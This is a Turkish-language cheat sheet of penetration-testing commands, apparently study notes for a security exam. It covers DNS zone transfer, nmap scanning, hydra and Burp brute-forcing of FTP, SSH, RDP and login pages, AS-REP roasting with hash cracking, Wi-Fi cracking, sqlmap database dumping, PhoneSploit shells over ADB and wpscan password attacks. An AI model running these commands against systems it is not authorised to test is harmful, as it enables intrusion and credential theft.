DNS: dig komutu kullan.

1. dig NS <hedefsite (örn:deneme.com)> -----> name server bulmak için kullanılır.
2. dig axfr @<nameserver adresi> <site> -----> dig axfr @ns.deneme.com deneme.com

---

nmap -A <ipadrr> ------> verilen tüm ipleri nmap ile tara bilgileri kayıt et.

NetBIOS Domain Name ------> nmap -A ile bulunur fakat bulunmazsa: nmap -- script nbstat.nse <ipadrr>

---

hydra -L <isimlistesi> -P <parolalistesi> service://<ipadrr>
hydra -l <isim> -P <parolalistesi> service://<ipadrr>
örn: hydra -L users.txt -P password.txt ftp://192.168.1.1

Wireshark -------> POST verisi(kullanıcı adı şifre gibi veriler genellikle HTTP POST isteklerinde geçer) incelemek için: http.request.method == POST
Spesifik port araması gerektiğinde: tcp.port == <port numarası>
Mqtt port: 1883

AS-REP -----> GetNPUsers.py toolu kullanılabilir hash'i almak için tool genellikle root dizininde impacket içerisinde bulunuyor dizinlere bak bulursun.
Kullanımı:
python3 GetNPUsers.py site.com/ -no-pass -usersfile /root/ADtools/users.txt -dc-ip <domaincontroller ip>

Bulunan hashi kırma:
hashcat -m 18200 hash.hash password.txt

Buradaki 18200 kerberos 5 AS-REP tipi hashler için kullanılmaktadır($krb5asrep$23$) hash tipi değiştiğinde buradaki değerde değişir ona webten bakmamız gerekiyor.

Wi-Fi hacking:

aircrack-ng -a2 -b [Target BSSID] -w password.txt '01.cap'

-b [Target BSSID]'ye gerek yok genellikle doğrudan o olmadan sprey saldırısı başlatılabilir. Bssid mac adresidir.

NFS

nmap -p111,2049 --script nfs* <target> -----> Açıklık tespiti 2049(NFS), 111(RPC)
showmount -e <target> ----------> nfs paylaşımlı dizinleri listeleme
mkdir /mnt/nfs ------> kendi sistemimizde mount dizini oluşturma
mount -t nfs <target>:/share /mnt/nfs --------> nfs paylaşımlı dosyayı mount etme. Share dizin ismi
mount -t nfs -o vers=3 target.com:/share /mnt/nfs ------> versiyonsal problemler olursa bu iki komut
mount -t nfs -o vers=4 target.com:/share /mnt/nfs

FTP

ftp <target-ip> <target-port> --------> hydra ile parola bulunursa

---

SSH

ssh username@X.X.X.X --------> aynı şekilde

SMB

nmap -p139,445 -A ipadadres (smb message sign check)
nmap --script smb-os-discovery ipadres
smbclient -L //target-ip
smbclient -L //target.com -U anonymous
smbclient -L //target.com -U username%password
smbclient //target.com/sharename -U username%password

smb açıksa bunlarla çok uğraşmaya gerek yok kullanıcı adı ve şifre ile network kısmına gidip arama kısmına smb://ip/ yazıp bağlantı kur.

SNMP

snmpwalk -v1 -c public target-ip “-v version -c community str”

Mobile

5555 portu açık olan ip adresini bul.
sudo python3 phonesploitpro.py --------> phonesploitpro dizini bul çalıştır orada zaten numaralardan ilerle istenilen neyse ona göre shell almak en mantıklısı oluyor

---

RDP

nmap taramasında 3389 portu açık olan windows makineye hydra ile saldır bulunan kullanıcı adı ve parolası ile remmina üzerinden bağlantı kurulabilir xfreerdp makinelerde yok galiba direk remmina.

hydra -l administrator -P passwords.txt rdp://target.com

SHA256

sha256sum <dosyaadı> -------> bir dosyanın sha256 değerini hesaplar

---

Entropy

binwalk --entropy <dosyaadı> ------> entropy değerini verir
ent <dosyaadı> --------> bizzat entropy değeri ölçmek için oluşturulmuş bir tooldur. Default yüklü olarak gelmez bu yüzden önce yüklemek gerekir.

sudo apt install ent
ent <dosyaadı>

---

jpeg içinden gizli mesaj

steghide extract -sf <resim.jpeg> -p <password>
openstego da kullanılabilir windowsta arayüzlü tool sınavda var ha

---

Web’te kullanılan teknolojiler

curl -I <websitesi>
nmap --script http server-header <websitesi>
whatweb <websitesi> -------> en güzel ve düzgün şekilde bilgiler veren tool (bence)

SQLMap

“--dbs” veritabanı listeleme, “-D databasename” veritabanı seçme
“--tables” tablo listeleme “-T tablename” tablo seçme
sqlmap -u <URL> --level 5 --risk 3 --technique bq ------> ana hat bu yukarıdakileri ekle o şekilde database ve toblolardan istenilenleri bul --dump ekleyerekte dumpları al --batch te ekleyebilirsin otomatik default cevap verir hızlanır işlemler.

sqlmap -u <URL> --level 5 --risk 3 --technique bq -D database --batch --dump -------> örn kullanım

url kısmı içinde devtool network kombinasyonu yap kullanıcı adı ve şifre girip networke düşen url'i copy curl ile al sqlmap sonrasına yapıştır ardından --level 5 --risk 3 --technique bq --dbs tarzı aramalar yap databaseleri falan bul sonra dump al.

Web app recon

banner grab: nc -vv www.xxx.com 80 >> "GET / HTTP/1.0"

telnet www.xxx.com 80 >> "GET / HTTP/1.0"

command: nmap -T4 -A -v [Target Web Application] (dns host name)

Web app vuln SmartScanner windows app

N-Stalker, Uniscan,AppSpider -------> çok kullanmaya gerek yok

BURP with login page brute force >> intruder pass user field >> attack type cluster bomb payload 1,2 user pass list load >>start attack ------> cp yaptım burpte takıl yapılır kolay

Wordpress scan and attack ------>

wpscan --url http://ipadres:8080/ --api-token wpscantoken
wpscan --url http://ipadres/ -U <username> -P <wordlist.txt> ------> -U'dan sonra hem wordlist hem direk kullanıcı adı verebiliriz

---

BCTextEncoder -----> içerde debelenme işi ara yüzü var windowsta kolaylıklar

---

CRC değeri ------> unzip -v *.apk